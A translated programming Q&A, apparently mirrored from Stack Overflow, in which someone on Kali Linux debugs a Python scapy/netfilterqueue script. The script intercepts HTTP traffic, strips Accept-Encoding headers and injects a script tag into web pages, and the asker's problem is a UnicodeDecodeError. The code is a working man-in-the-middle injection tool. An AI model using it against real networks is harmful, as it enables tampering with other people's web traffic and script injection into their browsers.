簡體   English   中英

如何將“scapy_packet [scapy.Raw].load”中的數據解碼為字符串以進行修改?

[英]How to decode data from "scapy_packet [scapy.Raw] .load" into a string for modification?

我正在嘗試編寫一個程序,在</body>之前將一個小腳本插入 web 頁面。但是存儲在 scapy_packet [scapy.Raw].load 中的數據是字節類型。 我正在嘗試將它們解碼為字符串,但總是出現錯誤:

文件“code_injector.py”,第 21 行,在 process_packet load = load.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe7 in position 0: invalid continuation byte

這是我的代碼:

import netfilterqueue
import scapy.all as scapy
import re


def set_load(packet, load):
    packet[scapy.Raw].load = load

    del packet[scapy.IP].chksum
    del packet[scapy.IP].len
    del packet[scapy.TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = scapy_packet[scapy.Raw].load     # load = scapy_packet[scapy.Raw].load.decode()
        load = load.decode('utf-8')     # load = load.decode('utf-8', 'ignore')
        if scapy_packet[scapy.TCP].dport == 80:    #HTTP only

            print("This is REQUEST")
            load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
            # print(scapy_packet.show())

        elif scapy_packet[scapy.TCP].sport == 80:

            print("This is RESPONSE")
            load = load.replace("</body>", "<script>alert('test');</script></body>")
            # print(scapy_packet.show())

        if load != scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(bytes(new_packet))    # bytes, not string!

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

我試圖忽略該錯誤,但隨后該站點將無法加載。

load = load.decode('utf-8', 'ignore')

其他編碼(不是 utf-8)不起作用

我的 Python 是 Python 3.8

在 Python 2.7 scapy 上不起作用。 在 Python 3.9 上,netfilterqueue 不起作用。 :-(

操作系統 - 卡利 linux。

PS:搜索了足夠的時間后,我認為問題出在兩個開頭的“0x”字符上。

PPS:對不起我的英語...

readable_payload = bytes(packet[TCP].payload).decode('UTF8','replace')

此代碼片段可用於解密簡單的 HTTP traffice。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM